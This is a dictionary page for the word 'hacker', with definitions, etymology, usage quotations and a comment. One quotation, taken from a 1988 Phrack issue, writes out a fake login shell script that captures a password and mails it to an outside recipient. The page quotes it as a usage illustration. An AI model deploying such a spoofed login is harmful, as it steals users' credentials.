Definitions

from The Century Dictionary.

  • noun A tool used for making incisions in trees as channels for the passage of the sap; a hack.
  • Same as hack, 4.

from the GNU version of the Collaborative International Dictionary of English.

  • noun One who, or that which, hacks.

from Wiktionary, Creative Commons Attribution/Share-Alike License.

  • noun Something which hacks, a tool or device for hacking.
  • noun Someone who hacks.
  • noun computing one who is expert at programming and solving problems with a computer
  • noun computing one who uses a computer to gain unauthorized access to data.
  • noun computing a computer security professional
  • noun US one who is inexperienced or unskilled at a particular activity, especially a sport such as golf or tennis.
  • noun US one who operates a taxicab

from WordNet 3.0 Copyright 2006 by Princeton University. All rights reserved.

  • noun a programmer for whom computing is its own reward; may enjoy the challenge of breaking into other computers but does no harm
  • noun a programmer who breaks into computer systems in order to steal or change or destroy information as a form of cyber-terrorism
  • noun one who works hard at boring tasks
  • noun someone who plays golf poorly

Etymologies

from Wiktionary, Creative Commons Attribution/Share-Alike License

to hack + -er

Support

Help support Wordnik (and make this page ad-free) by adopting the word hacker.

Examples

  • A hacker could quickly install a login process like the one described by Morris and Grampp (7): echo - n "login:" read X stty - echo echo - n "password:" read Y echo "" stty echo echo % X%Y | mail outside | hacker& sleep 1 echo Login incorrect stty 0/dev/tty We see that the password of the root user is mailed to the hacker who has completely compromised the Unix system.

    Phrack Issue #18 (Crimson Death's Issue) 1988

  • Once synonymous with criminals and anarchists, the term hacker now also refers to the good guys in cyberspace, those who have the same skills the bad guys do, only different intentions.

    Stars and Stripes 2010

  • If you really feel the need, explain the term hacker, or point them to the Wikipedia entry on the term.

    Irongeek's Security Site 2009

  • The word "hacker" has an unfairly negative connotation from being portrayed in the media as people who break into computers.

    Facebook's letter from Mark Zuckerberg - full text 2012

  • I believe I know who the hacker is and it is clear that they have connections to the Liberal Democrats.

    Archive 2005-04-01 2005

  • I believe I know who the hacker is and it is clear that they have connections to the Liberal Democrats.

    Hacked Off 2005

  • Be prepared for an argument; your hacker is a rational entity, and presumably had reasons.

    Boing Boing: July 8, 2001 - July 14, 2001 Archives 2001

  • The word "hacker" has an unfairly negative connotation from being portrayed in the media as people who break into computers.

    Forbes.com: News Robert Hof 2012

  • The word "hacker" has an unfairly negative connotation from being portrayed in the media as people who break into computers.

    BusinessWeek.com -- Top News 2012

  • "The word 'hacker' has an unfairly negative connotation from being portrayed in the media as people who break into computers," Zuckerberg wrote.

    SFGate: Don Asmussen: Bad Reporter Benny Evangelista 2012

Comments

Log in or sign up to get involved in the conversation. It's quick and easy.

  • Not to be confused with "cracker".

    December 2, 2006